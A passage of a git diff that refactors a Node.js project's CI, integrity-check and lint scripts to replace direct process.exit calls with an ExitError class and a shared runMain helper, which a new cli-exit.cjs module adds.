rest[0] === '@'; - const slashCount = (rest.match(/\//g) || []).length; - if (isScoped && slashCount > 1) continue; - if (!isScoped && slashCount > 0) continue; - - const pkgName = rest; - const installedVersion = entry.version || ''; - - if (entry.extraneous) { - extraneousFound.push({ name: pkgName, version: installedVersion }); - continue; + for (const arg of process.argv.slice(2)) { + if (arg === '--ignore-extraneous') { + ignoreExtraneous = true; + } else if (arg === '--help' || arg === '-h') { + process.stdout.write( + 'Usage: node scripts/check-npm-integrity.cjs [--ignore-extraneous]\n' + ); + return 0; + } else { + process.stderr.write(`ERROR: Unknown argument: ${arg}\n`); + throw new ExitError(2); + } } - if (!declaredRanges[pkgName]) continue; + // ---- Locate lockfile -------------------------------------------------------- - if (!satisfies(installedVersion, declaredRanges[pkgName])) { - invalids.push({ name: pkgName, version: installedVersion, declared: declaredRanges[pkgName] }); + const lockfilePath = path.join(process.cwd(), 'package-lock.json'); + + if (!fs.existsSync(lockfilePath)) { + process.stderr.write(`ERROR: package-lock.json not found in ${process.cwd()}\n`); + throw new ExitError(2); } -} -for (const name of Object.keys(declaredRanges)) { - if (!packages[`node_modules/${name}`]) { - missings.push({ name, required: declaredRanges[name] }); + // ---- Parse lockfile --------------------------------------------------------- + + let lock; + try { + lock = JSON.parse(fs.readFileSync(lockfilePath, 'utf-8')); + } catch (e) { + process.stderr.write(`ERROR: Failed to parse package-lock.json: ${e.message}\n`); + throw new ExitError(2); } -} -// ---- Verdict ---------------------------------------------------------------- - -const failInvalid = invalids.length > 0; -const failMissing = missings.length > 0; -const failExtra = !ignoreExtraneous && extraneousFound.length > 0; - -if (!failInvalid && !failMissing && !failExtra) { - process.stderr.write('check-npm-integrity.cjs: clean\n'); - process.exit(0); -} - -const lines = ['FAIL: dependency integrity drift detected', '']; - -if (failInvalid) { - lines.push(' INVALID (installed version does not satisfy declared range):'); - for (const { name, declared, version } of invalids) { - lines.push(` ${name}: declared=${declared} installed=${version}`); + const lockVersion = lock.lockfileVersion || 1; + if (lockVersion < 2) { + process.stderr.write( + `ERROR: package-lock.json lockfileVersion ${lockVersion} is not supported. ` + + 'Run `npm install` to upgrade to v3.\n' + ); + throw new ExitError(2); } - lines.push(''); -} -if (failMissing) { - lines.push(' MISSING (declared but absent from lockfile packages map):'); - for (const { name, required } of missings) { - lines.push(` ${name}@${required}`); + const packages = lock.packages || {}; + const rootEntry = packages[''] || {}; + + // Collect declared dependency ranges from root entry. + const declaredRanges = {}; + for (const field of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) { + for (const [name, range] of Object.entries(rootEntry[field] || {})) { + if (!declaredRanges[name]) declaredRanges[name] = range; + } } - lines.push(''); -} -if (failExtra) { - lines.push(' EXTRANEOUS (in lockfile but not declared as a dependency):'); - for (const { name, version } of extraneousFound) { - lines.push(` ${name}@${version}`); + // ---- Walk packages map ------------------------------------------------------ + + const invalids = []; + const missings = []; + const extraneousFound = []; + + for (const [key, entry] of Object.entries(packages)) { + if (!key.startsWith('node_modules/')) continue; + const rest = key.slice('node_modules/'.length); + const isScoped = rest[0] === '@'; + const slashCount = (rest.match(/\//g) || []).length; + if (isScoped && slashCount > 1) continue; + if (!isScoped && slashCount > 0) continue; + + const pkgName = rest; + const installedVersion = entry.version || ''; + + if (entry.extraneous) { + extraneousFound.push({ name: pkgName, version: installedVersion }); + continue; + } + + if (!declaredRanges[pkgName]) continue; + + if (!satisfies(installedVersion, declaredRanges[pkgName])) { + invalids.push({ name: pkgName, version: installedVersion, declared: declaredRanges[pkgName] }); + } } - lines.push(''); + + for (const name of Object.keys(declaredRanges)) { + if (!packages[`node_modules/${name}`]) { + missings.push({ name, required: declaredRanges[name] }); + } + } + + // ---- Verdict ---------------------------------------------------------------- + + const failInvalid = invalids.length > 0; + const failMissing = missings.length > 0; + const failExtra = !ignoreExtraneous && extraneousFound.length > 0; + + if (!failInvalid && !failMissing && !failExtra) { + process.stderr.write('check-npm-integrity.cjs: clean\n'); + return 0; + } + + const lines = ['FAIL: dependency integrity drift detected', '']; + + if (failInvalid) { + lines.push(' INVALID (installed version does not satisfy declared range):'); + for (const { name, declared, version } of invalids) { + lines.push(` ${name}: declared=${declared} installed=${version}`); + } + lines.push(''); + } + + if (failMissing) { + lines.push(' MISSING (declared but absent from lockfile packages map):'); + for (const { name, required } of missings) { + lines.push(` ${name}@${required}`); + } + lines.push(''); + } + + if (failExtra) { + lines.push(' EXTRANEOUS (in lockfile but not declared as a dependency):'); + for (const { name, version } of extraneousFound) { + lines.push(` ${name}@${version}`); + } + lines.push(''); + } + + lines.push('Remediation: rm -rf node_modules && npm ci'); + process.stderr.write(lines.join('\n') + '\n'); + throw new ExitError(1); } -lines.push('Remediation: rm -rf node_modules && npm ci'); -process.stderr.write(lines.join('\n') + '\n'); -process.exit(1); +runMain(main); diff --git a/scripts/ci-guard-runner.cjs b/scripts/ci-guard-runner.cjs index 2ca864dae..7a1c8c56a 100644 --- a/scripts/ci-guard-runner.cjs +++ b/scripts/ci-guard-runner.cjs @@ -6,11 +6,17 @@ // Exit 0 = github-hosted runner confirmed. // Exit 1 = not a github-hosted runner (emits GitHub Actions error annotation). +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + const env = process.env.RUNNER_ENVIRONMENT || ''; -if (env !== 'github-hosted') { - process.stderr.write( - `::error::Expected github-hosted runner. RUNNER_ENVIRONMENT=${env || 'unset'}\n` - ); - process.exit(1); +function main() { + if (env !== 'github-hosted') { + throw new ExitError( + 1, + `::error::Expected github-hosted runner. RUNNER_ENVIRONMENT=${env || 'unset'}` + ); + } } + +runMain(main); diff --git a/scripts/ci-prepare-test-scope.cjs b/scripts/ci-prepare-test-scope.cjs index 1759cdbe9..66309db1a 100644 --- a/scripts/ci-prepare-test-scope.cjs +++ b/scripts/ci-prepare-test-scope.cjs @@ -14,33 +14,38 @@ const fs = require('fs'); const path = require('path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + const scope = process.env.TEST_SCOPE || ''; const targeted = process.env.TARGETED_TESTS || ''; const windows = process.env.WINDOWS_TESTS || ''; const FALLBACK = 'tests/command-contract.test.cjs tests/commands.test.cjs tests/core.test.cjs tests/package-manifest.test.cjs'; -let selected; -if (scope === 'windows') { - selected = windows; -} else if (scope === 'targeted') { - selected = targeted; -} else { - process.stderr.write(`::error::Unknown test scope: ${scope}\n`); - process.exit(1); +function main() { + let selected; + if (scope === 'windows') { + selected = windows; + } else if (scope === 'targeted') { + selected = targeted; + } else { + throw new ExitError(1, `::error::Unknown test scope: ${scope}`); + } + + // Trim and fall back to default set if empty. + if (!selected.trim()) { + selected = FALLBACK; + } + + // Split on whitespace, filter blanks, join with newlines. + const lines = selected.split(/\s+/).filter(Boolean); + const content = lines.join('\n') + '\n'; + + const outPath = path.join(process.cwd(), '.ci-selected-tests.txt'); + fs.writeFileSync(outPath, content, 'utf-8'); + + process.stdout.write('Scoped tests:\n'); + process.stdout.write(content); } -// Trim and fall back to default set if empty. -if (!selected.trim()) { - selected = FALLBACK; -} - -// Split on whitespace, filter blanks, join with newlines. -const lines = selected.split(/\s+/).filter(Boolean); -const content = lines.join('\n') + '\n'; - -const outPath = path.join(process.cwd(), '.ci-selected-tests.txt'); -fs.writeFileSync(outPath, content, 'utf-8'); - -process.stdout.write('Scoped tests:\n'); -process.stdout.write(content); +runMain(main); diff --git a/scripts/ci-rebase-check.cjs b/scripts/ci-rebase-check.cjs index 6cfcbb04c..d7a83f344 100644 --- a/scripts/ci-rebase-check.cjs +++ b/scripts/ci-rebase-check.cjs @@ -13,6 +13,8 @@ const { execFileSync } = require('child_process'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + function run(cmd, args, opts) { try { execFileSync(cmd, args, { stdio: 'inherit', ...opts }); @@ -26,8 +28,7 @@ function runOrThrow(cmd, args, label) { try { execFileSync(cmd, args, { stdio: 'inherit' }); } catch (e) { - process.stderr.write(`::error::${label} failed\n`); - process.exit(1); + throw new ExitError(1, `::error::${label} failed`); } } @@ -35,48 +36,51 @@ const token = process.env.GITHUB_TOKEN || ''; const baseBranch = process.env.GITHUB_BASE_REF || 'main'; const repo = process.env.GITHUB_REPOSITORY || ''; -// Configure git identity (needed for merge commit). -runOrThrow('git', ['config', 'user.email', 'ci@gsd-redux'], 'git config user.email'); -runOrThrow('git', ['config', 'user.name', 'CI Rebase Check'], 'git config user.name'); +function main() { + // Configure git identity (needed for merge commit). + runOrThrow('git', ['config', 'user.email', 'ci@gsd-redux'], 'git config user.email'); + runOrThrow('git', ['config', 'user.name', 'CI Rebase Check'], 'git config user.name'); -// Set authenticated remote URL. -if (token && repo) { - runOrThrow( - 'git', - ['remote', 'set-url', 'origin', `https://x-access-token:${token}@github.com/${repo}.git`], - 'git remote set-url' - ); -} - -// Fetch base branch with retry. -for (let attempt = 1; attempt <= 3; attempt++) { - const result = run('git', ['fetch', 'origin', baseBranch]); - if (result) { - break; + // Set authenticated remote URL. + if (token && repo) { + runOrThrow( + 'git', + ['remote', 'set-url', 'origin', `https://x-access-token:${token}@github.com/${repo}.git`], + 'git remote set-url' + ); } - if (attempt === 3) { - process.stderr.write(`::error::git fetch origin ${baseBranch} failed after 3 attempts.\n`); - process.exit(1); + + // Fetch base branch with retry. + for (let attempt = 1; attempt <= 3; attempt++) { + const result = run('git', ['fetch', 'origin', baseBranch]); + if (result) { + break; + } + if (attempt === 3) { + throw new ExitError(1, `::error::git fetch origin ${baseBranch} failed after 3 attempts.`); + } + // Wait before retry: attempt * 4 seconds. + const waitMs = attempt * 4000; + const deadline = Date.now() + waitMs; + while (Date.now() < deadline) { /* busy wait, acceptable in CI */ } + } + + // Attempt merge. + try { + execFileSync('git', ['merge', '--no-edit', '--no-ff', `origin/${baseBranch}`], { stdio: 'inherit' }); + } catch (e) { + process.stderr.write( + `::error::This PR cannot cleanly merge origin/${baseBranch}. Rebase your branch onto current ${baseBranch} and push again.\n` + ); + process.stderr.write('::error::Conflicting files:\n'); + try { + execFileSync('git', ['diff', '--name-only', '--diff-filter=U'], { stdio: 'inherit' }); + } catch (_) { /* ignore */ } + try { + execFileSync('git', ['merge', '--abort'], { stdio: 'inherit' }); + } catch (_) { /* ignore */ } + throw new ExitError(1); } - // Wait before retry: attempt * 4 seconds. - const waitMs = attempt * 4000; - const deadline = Date.now() + waitMs; - while (Date.now() < deadline) { /* busy wait, acceptable in CI */ } } -// Attempt merge. -try { - execFileSync('git', ['merge', '--no-edit', '--no-ff', `origin/${baseBranch}`], { stdio: 'inherit' }); -} catch (e) { - process.stderr.write( - `::error::This PR cannot cleanly merge origin/${baseBranch}. Rebase your branch onto current ${baseBranch} and push again.\n` - ); - process.stderr.write('::error::Conflicting files:\n'); - try { - execFileSync('git', ['diff', '--name-only', '--diff-filter=U'], { stdio: 'inherit' }); - } catch (_) { /* ignore */ } - try { - execFileSync('git', ['merge', '--abort'], { stdio: 'inherit' }); - } catch (_) { /* ignore */ } - process.exit(1); -} +runMain(main); diff --git a/scripts/ci-test-scope.cjs b/scripts/ci-test-scope.cjs index f81c384a2..977c9d5c4 100644 --- a/scripts/ci-test-scope.cjs +++ b/scripts/ci-test-scope.cjs @@ -4,6 +4,8 @@ const { execFileSync } = require('child_process'); const { existsSync, readdirSync, appendFileSync } = require('fs'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + const RULES = [ { name: 'workflow automation', @@ -197,7 +199,7 @@ function parseArgs(argv) { if (!out.files) throw new Error('--files requires a value'); } else if (arg === '--help' || arg === '-h') { console.log(usage()); - process.exit(0); + throw new ExitError(0); } else { throw new Error(`unknown argument: ${arg}`); } @@ -317,10 +319,11 @@ function main() { writeOutputs(result); console.log(JSON.stringify(result, null, 2)); } catch (error) { + if (error instanceof ExitError) throw error; console.error(`ci-test-scope: ${error.message}`); console.error(usage()); - process.exit(2); + throw new ExitError(2); } } -main(); +runMain(main); diff --git a/scripts/diff-touches-shipped-paths.cjs b/scripts/diff-touches-shipped-paths.cjs index 5b51b49d9..da0943d60 100644 --- a/scripts/diff-touches-shipped-paths.cjs +++ b/scripts/diff-touches-shipped-paths.cjs @@ -43,6 +43,7 @@ const fs = require('node:fs'); const path = require('node:path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const EXIT_SHIPPED = 0; const EXIT_NOT_SHIPPED = 1; @@ -88,60 +89,67 @@ function isPushBlocking(diffPath) { return diffPath.replace(/\\/g, '/').startsWith('.github/workflows/'); } -function fail(message, err) { - process.stderr.write(`diff-touches-shipped-paths: ${message}\n`); - if (err && err.stack) process.stderr.write(`${err.stack}\n`); - process.exit(EXIT_ERROR); +function readStdin() { + return new Promise((resolve, reject) => { + let data = ''; + process.stdin.setEncoding('utf8'); + process.stdin.on('data', (chunk) => { data += chunk; }); + process.stdin.on('end', () => resolve(data)); + process.stdin.on('error', reject); + }); } -function main() { - // Surface ANY uncaught failure as exit 2 (classifier error) rather - // than letting Node's default-1 shadow the legitimate - // "no shipped paths" result. Bug #2983. - process.on('uncaughtException', (err) => fail('uncaught exception', err)); - process.on('unhandledRejection', (err) => fail('unhandled rejection', err)); - - let shipPrefixes; +async function main() { try { - const pkgPath = path.resolve(process.cwd(), 'package.json'); - shipPrefixes = loadShipPrefixes(pkgPath); - } catch (err) { - return fail(`failed to read package.json from ${process.cwd()}`, err); - } - - let buf = ''; - process.stdin.setEncoding('utf8'); - process.stdin.on('error', (err) => fail('stdin read error', err)); - process.stdin.on('data', (chunk) => { - buf += chunk; - }); - process.stdin.on('end', () => { + let shipPrefixes; try { - const paths = buf.split('\n').map((s) => s.trim()).filter(Boolean); - // #2980 still wins over #3621: any commit touching .github/workflows/* - // is unpickable regardless of other content because the push step - // fails on workflow scope rejection. Check this first. - if (paths.some(isPushBlocking)) { - process.exit(EXIT_NOT_SHIPPED); - } - if (paths.some((p) => isShipped(p, shipPrefixes))) { - process.exit(EXIT_SHIPPED); - } - // #3621: a commit whose only relevant paths are CI-gating tests is - // still pickable — it can change whether the hotfix CI passes even - // though it doesn't change what the npm tarball ships. - if (paths.some(isCiGating)) { - process.exit(EXIT_SHIPPED); - } - process.exit(EXIT_NOT_SHIPPED); + const pkgPath = path.resolve(process.cwd(), 'package.json'); + shipPrefixes = loadShipPrefixes(pkgPath); } catch (err) { - fail('classification failed', err); + process.stderr.write(`diff-touches-shipped-paths: failed to read package.json from ${process.cwd()}\n`); + if (err && err.stack) process.stderr.write(`${err.stack}\n`); + throw new ExitError(EXIT_ERROR); } - }); + + let buf; + try { + buf = await readStdin(); + } catch (err) { + process.stderr.write(`diff-touches-shipped-paths: stdin read error\n`); + if (err && err.stack) process.stderr.write(`${err.stack}\n`); + throw new ExitError(EXIT_ERROR); + } + + const paths = buf.split('\n').map((s) => s.trim()).filter(Boolean); + // #2980 still wins over #3621: any commit touching .github/workflows/* + // is unpickable regardless of other content because the push step + // fails on workflow scope rejection. Check this first. + if (paths.some(isPushBlocking)) { + return EXIT_NOT_SHIPPED; + } + if (paths.some((p) => isShipped(p, shipPrefixes))) { + return EXIT_SHIPPED; + } + // #3621: a commit whose only relevant paths are CI-gating tests is + // still pickable — it can change whether the hotfix CI passes even + // though it doesn't change what the npm tarball ships. + if (paths.some(isCiGating)) { + return EXIT_SHIPPED; + } + return EXIT_NOT_SHIPPED; + } catch (e) { + // Re-throw ExitError unchanged; map any unexpected error to EXIT_ERROR=2 + // (Node's default uncaught-exception code is 1, which is indistinguishable + // from the legitimate EXIT_NOT_SHIPPED result — bug #2983). + if (e instanceof ExitError) throw e; + process.stderr.write(`diff-touches-shipped-paths: classification failed\n`); + if (e && e.stack) process.stderr.write(`${e.stack}\n`); + throw new ExitError(EXIT_ERROR); + } } if (require.main === module) { - main(); + runMain(main); } module.exports = { loadShipPrefixes, isShipped, isCiGating, isPushBlocking, EXIT_SHIPPED, EXIT_NOT_SHIPPED, EXIT_ERROR }; diff --git a/scripts/gen-inventory-manifest.cjs b/scripts/gen-inventory-manifest.cjs index dcc81683c..40a859c7c 100644 --- a/scripts/gen-inventory-manifest.cjs +++ b/scripts/gen-inventory-manifest.cjs @@ -16,6 +16,8 @@ const fs = require('node:fs'); const path = require('node:path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); + const ROOT = path.resolve(__dirname, '..'); const MANIFEST_PATH = path.join(ROOT, 'docs', 'INVENTORY-MANIFEST.json'); @@ -70,40 +72,44 @@ function buildManifest() { return manifest; } -const [, , flag] = process.argv; +function main() { + const [, , flag] = process.argv; -if (flag === '--check') { - const committed = JSON.parse(fs.readFileSync(MANIFEST_PATH, 'utf8')); - const live = buildManifest(); - // Strip the generated date for comparison - delete committed.generated; - delete live.generated; - const committedStr = JSON.stringify(committed, null, 2); - const liveStr = JSON.stringify(live, null, 2); - if (committedStr !== liveStr) { - process.stderr.write( - 'docs/INVENTORY-MANIFEST.json is stale. Run:\n' + - ' node scripts/gen-inventory-manifest.cjs --write\n' + - 'then add a matching row in docs/INVENTORY.md for each new entry.\n\n', - ); - // Show diff-friendly output - for (const family of Object.keys(live.families)) { - const liveSet = new Set(live.families[family]); - const committedSet = new Set((committed.families || {})[family] || []); - for (const name of liveSet) { - if (!committedSet.has(name)) process.stderr.write(' + ' + family + '/' + name + '\n'); - } - for (const name of committedSet) { - if (!liveSet.has(name)) process.stderr.write(' - ' + family + '/' + name + '\n'); + if (flag === '--check') { + const committed = JSON.parse(fs.readFileSync(MANIFEST_PATH, 'utf8')); + const live = buildManifest(); + // Strip the generated date for comparison + delete committed.generated; + delete live.generated; + const committedStr = JSON.stringify(committed, null, 2); + const liveStr = JSON.stringify(live, null, 2); + if (committedStr !== liveStr) { + process.stderr.write( + 'docs/INVENTORY-MANIFEST.json is stale. Run:\n' + + ' node scripts/gen-inventory-manifest.cjs --write\n' + + 'then add a matching row in docs/INVENTORY.md for each new entry.\n\n', + ); + // Show diff-friendly output + for (const family of Object.keys(live.families)) { + const liveSet = new Set(live.families[family]); + const committedSet = new Set((committed.families || {})[family] || []); + for (const name of liveSet) { + if (!committedSet.has(name)) process.stderr.write(' + ' + family + '/' + name + '\n'); + } + for (const name of committedSet) { + if (!liveSet.has(name)) process.stderr.write(' - ' + family + '/' + name + '\n'); + } } + throw new ExitError(1); } - process.exit(1); + process.stdout.write('docs/INVENTORY-MANIFEST.json is up to date.\n'); + } else if (flag === '--write') { + const manifest = buildManifest(); + fs.writeFileSync(MANIFEST_PATH, JSON.stringify(manifest, null, 2) + '\n'); + process.stdout.write('Wrote ' + MANIFEST_PATH + '\n'); + } else { + process.stdout.write(JSON.stringify(buildManifest(), null, 2) + '\n'); } - process.stdout.write('docs/INVENTORY-MANIFEST.json is up to date.\n'); -} else if (flag === '--write') { - const manifest = buildManifest(); - fs.writeFileSync(MANIFEST_PATH, JSON.stringify(manifest, null, 2) + '\n'); - process.stdout.write('Wrote ' + MANIFEST_PATH + '\n'); -} else { - process.stdout.write(JSON.stringify(buildManifest(), null, 2) + '\n'); } + +runMain(main); diff --git a/scripts/gen-research-agents.cjs b/scripts/gen-research-agents.cjs index 6ff6de3ea..98a4aa10d 100644 --- a/scripts/gen-research-agents.cjs +++ b/scripts/gen-research-agents.cjs @@ -24,6 +24,7 @@ const fs = require('node:fs'); const path = require('node:path'); const { PROFILES } = require('./research-profiles.cjs'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const ROOT = path.resolve(__dirname, '..'); const AGENTS_DIR = path.join(ROOT, 'agents'); @@ -225,8 +226,7 @@ function runWrite() { for (const profile of PROFILES) { const agentPath = path.join(AGENTS_DIR, profile.name + '.md'); if (!fs.existsSync(agentPath)) { - process.stderr.write('ERROR: agent file not found: ' + agentPath + '\n'); - process.exit(1); + throw new ExitError(1, 'ERROR: agent file not found: ' + agentPath); } writeAgent(profile); process.stdout.write(' wrote ' + profile.name + '.md\n'); @@ -241,7 +241,7 @@ module.exports = { PROFILES, checkAgent, runCheck, parseAgentFile }; // ─── CLI entry point ────────────────────────────────────────────────────────── -if (require.main === module) { +function main() { const flag = process.argv[2] || '--check'; if (flag === '--write') { @@ -251,7 +251,7 @@ if (require.main === module) { const ok = runCheck(); if (!ok) { process.stderr.write('\nERROR: --check failed after --write. Fix serialization.\n'); - process.exit(1); + throw new ExitError(1); } process.stdout.write('\nAll agents match their profiles.\n'); } else if (flag === '--check') { @@ -263,12 +263,14 @@ if (require.main === module) { '\nTo regenerate frontmatter from profiles:\n' + ' node scripts/gen-research-agents.cjs --write\n', ); - process.exit(1); + throw new ExitError(1); } process.stdout.write('\nAll 7 agents match their profiles.\n'); } else { - process.stderr.write('Unknown flag: ' + flag + '\n'); - process.stderr.write('Usage: node scripts/gen-research-agents.cjs [--check|--write]\n'); - process.exit(1); + throw new ExitError(1, 'Unknown flag: ' + flag + '\nUsage: node scripts/gen-research-agents.cjs [--check|--write]'); } } + +if (require.main === module) { + runMain(main); +} diff --git a/scripts/lib/cli-exit.cjs b/scripts/lib/cli-exit.cjs new file mode 100644 index 000000000..709e8dc23 --- /dev/null +++ b/scripts/lib/cli-exit.cjs @@ -0,0 +1,56 @@ +'use strict'; + +/** + * Error that carries a process exit code. CLI logic throws this instead of + * calling process.exit() (banned by n/no-process-exit); runMain() translates it + * into process.exitCode at the entrypoint. + * + * @param {number} code exit code (default 1) + * @param {string} [message] optional human message; when set and code != 0 it is + * written to stderr by runMain before the process exits. + */ +class ExitError extends Error { + constructor(code = 1, message) { + super(message === undefined ? `process exit ${code}` : message); + this.name = 'ExitError'; + this.code = code; + // Whether runMain should print this.message to stderr (only when a real + // message was provided, not the synthetic default). + this.hasUserMessage = message !== undefined; + } +} + +/** + * Run a CLI main function and translate its outcome into process.exitCode + * (never process.exit(), so n/no-process-exit stays satisfied). Supports sync or + * async main. + * - main returns a number -> process.exitCode = that number + * - main throws/rejects ExitError -> process.exitCode = err.code, and if + * err.hasUserMessage && err.code !== 0, err.message is written to stderr + * - main throws/rejects anything else -> the stack is written to stderr and + * process.exitCode = 1 + * Letting the event loop drain (vs process.exit) means buffered stdout/stderr is + * flushed and process.on('exit') cleanup handlers still fire. + * + * @param {() => (number|void|Promise)} main + */ +function runMain(main) { + Promise.resolve() + .then(() => main()) + .then((code) => { + if (typeof code === 'number') process.exitCode = code; + }) + .catch((err) => { + if (err instanceof ExitError) { + if (err.hasUserMessage && err.code !== 0) { + process.stderr.write(`${err.message}\n`); + } + process.exitCode = err.code; + return; + } + process.stderr.write(`${err && err.stack ? err.stack : String(err)}\n`); + process.exitCode = 1; + }); +} + +module.exports = { ExitError, runMain }; diff --git a/scripts/lint-command-contract.cjs b/scripts/lint-command-contract.cjs index daa515ea8..13c2a52f4 100644 --- a/scripts/lint-command-contract.cjs +++ b/scripts/lint-command-contract.cjs @@ -28,6 +28,8 @@ const { executionContextRefs: extractExecutionContextRefs, } = require('./command-contract-helpers.cjs'); +const { runMain } = require('./lib/cli-exit.cjs'); + // ─── check one file ─────────────────────────────────────────────────────────── function check(filePath) { @@ -79,30 +81,34 @@ function check(filePath) { // ─── run ───────────────────────────────────────────────────────────────────── -const commandFiles = fs - .readdirSync(COMMANDS_DIR) - .filter(f => f.endsWith('.md')) - .map(f => path.join(COMMANDS_DIR, f)); +function main() { + const commandFiles = fs + .readdirSync(COMMANDS_DIR) + .filter(f => f.endsWith('.md')) + .map(f => path.join(COMMANDS_DIR, f)); -const results = commandFiles.map(check).filter(Boolean); + const results = commandFiles.map(check).filter(Boolean); -if (results.length === 0) { - console.log( - `ok lint-command-contract: ${commandFiles.length} command files checked, 0 violations`, - ); - process.exit(0); -} - -const total = results.reduce((n, r) => n + r.violations.length, 0); -process.stderr.write( - `\nERROR lint-command-contract: ${total} violation(s) across ${results.length} file(s)\n\n`, -); -for (const r of results) { - process.stderr.write(` ${r.file}\n`); - for (const v of r.violations) { - process.stderr.write(` - ${v}\n`); + if (results.length === 0) { + console.log( + `ok lint-command-contract: ${commandFiles.length} command files checked, 0 violations`, + ); + return 0; } - process.stderr.write('\n'); + + const total = results.reduce((n, r) => n + r.violations.length, 0); + process.stderr.write( + `\nERROR lint-command-contract: ${total} violation(s) across ${results.length} file(s)\n\n`, + ); + for (const r of results) { + process.stderr.write(` ${r.file}\n`); + for (const v of r.violations) { + process.stderr.write(` - ${v}\n`); + } + process.stderr.write('\n'); + } + process.stderr.write('See docs/adr/0002-command-contract-validation-module.md for the contract spec.\n\n'); + return 1; } -process.stderr.write('See docs/adr/0002-command-contract-validation-module.md for the contract spec.\n\n'); -process.exit(1); + +runMain(main); diff --git a/scripts/lint-descriptions.cjs b/scripts/lint-descriptions.cjs index 893006b3a..0adad0c6a 100644 --- a/scripts/lint-descriptions.cjs +++ b/scripts/lint-descriptions.cjs @@ -15,6 +15,7 @@ const fs = require('fs'); const path = require('path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const MAX_LENGTH = 100; const COMMANDS_DIR = path.join(__dirname, '..', 'commands', 'gsd'); @@ -46,38 +47,41 @@ function getFiles() { .map(f => path.join(COMMANDS_DIR, f)); } -const files = getFiles(); -const violations = []; +function main() { + const files = getFiles(); + const violations = []; -for (const filePath of files) { - let content; - try { - content = fs.readFileSync(filePath, 'utf-8'); - } catch (err) { - process.stderr.write(`ERROR: Cannot read file: ${filePath}\n ${err.message}\n`); - process.exit(1); + for (const filePath of files) { + let content; + try { + content = fs.readFileSync(filePath, 'utf-8'); + } catch (err) { + throw new ExitError(1, `ERROR: Cannot read file: ${filePath}\n ${err.message}`); + } + + const description = parseDescription(content); + if (description === null) continue; + + if (description.length > MAX_LENGTH) { + violations.push({ filePath, length: description.length, description }); + } } - const description = parseDescription(content); - if (description === null) continue; - - if (description.length > MAX_LENGTH) { - violations.push({ filePath, length: description.length, description }); + if (violations.length === 0) { + const checked = files.length; + process.stdout.write(`ok lint-descriptions: ${checked} file(s) checked, 0 violations\n`); + return 0; } + + process.stderr.write(`\nERROR lint-descriptions: ${violations.length} violation(s) found\n\n`); + for (const v of violations) { + const preview = v.description.length > 120 ? v.description.slice(0, 117) + '...' : v.description; + process.stderr.write(` ${v.filePath}\n`); + process.stderr.write(` Length : ${v.length} (max ${MAX_LENGTH})\n`); + process.stderr.write(` Desc : ${preview}\n\n`); + } + process.stderr.write(`Trim descriptions to <= ${MAX_LENGTH} chars. Flag docs belong in argument-hint:.\n\n`); + return 1; } -if (violations.length === 0) { - const checked = files.length; - process.stdout.write(`ok lint-descriptions: ${checked} file(s) checked, 0 violations\n`); - process.exit(0); -} - -process.stderr.write(`\nERROR lint-descriptions: ${violations.length} violation(s) found\n\n`); -for (const v of violations) { - const preview = v.description.length > 120 ? v.description.slice(0, 117) + '...' : v.description; - process.stderr.write(` ${v.filePath}\n`); - process.stderr.write(` Length : ${v.length} (max ${MAX_LENGTH})\n`); - process.stderr.write(` Desc : ${preview}\n\n`); -} -process.stderr.write(`Trim descriptions to <= ${MAX_LENGTH} chars. Flag docs belong in argument-hint:.\n\n`); -process.exit(1); +runMain(main); diff --git a/scripts/lint-docs-required.cjs b/scripts/lint-docs-required.cjs index 752685b03..a6580cb4a 100755 --- a/scripts/lint-docs-required.cjs +++ b/scripts/lint-docs-required.cjs @@ -14,6 +14,7 @@ */ const { parseFragment, FRAGMENT_ERROR } = require('./changeset/parse.cjs'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); const LINT_REASON = Object.freeze({ OK_NO_TRIGGERING_FRAGMENTS: 'ok_no_triggering_fragments', @@ -161,8 +162,7 @@ function main() { ); changedFiles = out.split('\n').filter(Boolean); } catch (e) { - process.stderr.write(`could not compute diff: ${e.message}\n`); - process.exit(2); + throw new ExitError(2, `could not compute diff: ${e.message}`); } const { fragments, malformed } = readFragmentsFromDisk(changedFiles, rootDir); @@ -204,10 +204,10 @@ function main() { `exemption via \`\` inside the fragment body also works.\n`, ); } - process.exit(verdict.ok ? 0 : 1); + return verdict.ok ? 0 : 1; } -if (require.main === module) main(); +if (require.main === module) runMain(main); module.exports = { evaluateLint, diff --git a/scripts/lint-legacy-dir-name.cjs b/scripts/lint-legacy-dir-name.cjs index 4d7cb1199..c5223f3f1 100644 --- a/scripts/lint-legacy-dir-name.cjs +++ b/scripts/lint-legacy-dir-name.cjs @@ -33,6 +33,7 @@ const { execFileSync } = require('child_process'); const fs = require('fs'); const path = require('path'); +const { ExitError, runMain } = require('./lib/cli-exit.cjs'); // Constructed with split to avoid self-match when this script is scanned. const FORBIDDEN = 'get-shit' + '-done'; @@ -90,67 +91,70 @@ function isBinary(fullPath) { } } -// Enumerate tracked files via git ls-files so only committed/staged source is checked. -let trackedFiles; -try { - trackedFiles = execFileSync('git', ['ls-files'], { cwd: REPO_ROOT, encoding: 'utf8' }) - .split('\n') - .map((f) => f.trim()) - .filter(Boolean); -} catch (err) { - process.stderr.write('ERROR lint-legacy-dir-name: git ls-files failed: ' + err.message + '\n'); - process.exit(1); -} - -const violations = []; - -for (const relPath of trackedFiles) { - if (isAllowlisted(relPath)) continue; - - const fullPath = path.join(REPO_ROOT, relPath); - - // Skip this guard script itself. - if (path.resolve(fullPath) === SELF_PATH) continue; - - if (isBinary(fullPath)) continue; - - let content; +function main() { + // Enumerate tracked files via git ls-files so only committed/staged source is checked. + let trackedFiles; try { - content = fs.readFileSync(fullPath, 'utf8'); - } catch { - // Unreadable files (permissions, etc.) — skip silently. - continue; + trackedFiles = execFileSync('git', ['ls-files'], { cwd: REPO_ROOT, encoding: 'utf8' }) + .split('\n') + .map((f) => f.trim()) + .filter(Boolean); + } catch (err) { + throw new ExitError(1, 'ERROR lint-legacy-dir-name: git ls-files failed: ' + err.message); } - const lines = content.split('\n'); - for (let i = 0; i < lines.length; i++) { - const line = lines[i]; - // Skip lines that carry the explicit allow marker. - if (line.includes(ALLOW_MARKER)) continue; + const violations = []; - 